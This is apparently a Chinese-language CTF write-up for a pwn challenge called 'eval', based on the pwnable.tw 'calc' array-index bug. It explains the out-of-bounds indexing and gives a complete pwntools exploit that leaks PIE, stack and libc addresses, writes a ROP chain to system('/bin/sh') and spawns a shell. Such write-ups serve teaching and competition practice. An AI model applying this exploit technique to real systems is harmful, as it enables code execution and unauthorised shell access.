# pwn1 eval
漏洞利用参考:
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/01/calc/
https://juniorprincewang.github.io/2017/10/01/pwnable-tw 之 calc/
https://lonmar.cn/2022/02/23/pwnabletw-calc/
#
漏洞原理( pwnable.tw calc
):
打印 a1[a1[3] + 3]
(实际为 a1[a1[3]+2]
)
因为在打印前有个 --a1[3]
,所以打印的 a1[a1[3]+3]
,实际上为原本的 a1[a1[3]+2]
的值,也就是我们输入的第一个数值
实际上是将打印的数组索引 a1[3]+2
的值修改为我们想要的偏移来打印对应的地址
加法:
a1[a1[3] + 2] += a1[a1[3] + 3] //a1 [3]+2 存放的是操作数个数 | |
a1[a1[3]+2]=a1[a1[3]+2]+a1[a1[3] + 3] | |
// 这里要将 a1 [3]+2 控制为我们想要的偏移 | |
a1[a1[3]+2]=a1[3]+2时我们修改a1[a1[3]+2]的值也就是修改a1[3]+2的值 | |
// 变相的要控制 a1 [3] 的值 | |
要让a1[a1[3]+2]=a1[3]+2成立,这样进行a1[a1[3]+2]=a1[a1[3]+2]+a1[a1[3] + 3]也就相当于 a1[3]+2=....+[a1[3] + 3] | |
a1[a1[3]] |
符号栈在输入值的地址 - 0x20 处
a1[a2[]]
偏移算起来有点绕,可以通过 gdb 调试来确定偏移量
首先查看栈内容(输入的是 9+9
)
查看栈空间
由上面的知道了偏移为 52,可以计算得到 libc 地址,我们还需要泄露地址来得到 pie 基地址
向上偏移 10 可以泄露地址,然后减去 pie 的偏移(低地址不变),得到 pie 基址,利用该基址通过 Ropgadget 计算得到 rdi_ret 的地址
然后就可以构造 rop 链了
exp:
from pwn import * | |
e = ELF('./eval') | |
libc = ELF('./libc.so.6') | |
p = process('./eval') | |
#p = remote("8.130.74.108", 32199) | |
context.arch = 'amd64' | |
# context.log_level = 'debug' | |
# leak pie | |
p.sendline(b"-10") | |
leak = int(p.recvline(), 10) | |
success("leak: " + hex(leak)) | |
pie_base = leak - 0x1060 # 0x1060 is the offset of `push r15` in pie | |
success("pie_base: " + hex(pie_base)) | |
# leak stack | |
p.sendline(b"-9") | |
leak = int(p.recvline(), 10) | |
success("leak: " + hex(leak)) | |
stack_addr = leak - 0x1fd81 | |
success("stack_addr: " + hex(stack_addr)) | |
# leak libc | |
p.sendline(b"+52") | |
leak = int(p.recvline(), 10) | |
success("leak: " + hex(leak)) | |
libc_base = leak - 0x24083 | |
success("libc_base: " + hex(libc_base)) | |
# rbp 对应 `+51` | |
# p.sendline(f"+50+{0xf93 + pie_base}") | |
# p.sendline(f"+49{canary}") | |
p_rdi_ret = 0x0000000000023b6a + libc_base | |
bin_sh = libc_base + libc.search(b"/bin/sh").__next__() | |
system = libc_base + libc.sym["system"] | |
ret = 0x0000000000022679 + libc_base | |
# 布置 system ("/bin/sh") | |
rop_chain = [ | |
p_rdi_ret, | |
bin_sh, | |
system | |
] | |
p.sendline(f"+54+{system}") | |
p.sendline(f"+53+{ret}") | |
p.sendline(f"+52+{bin_sh}") | |
# print(p.pid) | |
# input("pause") | |
p.sendline(f"+51+{p_rdi_ret}") | |
# p.sendline(f"+49{canary}") | |
# print(p.pid) | |
# input("pause") | |
# 触发正常的 ret | |
p.sendline() | |
p.interactive() |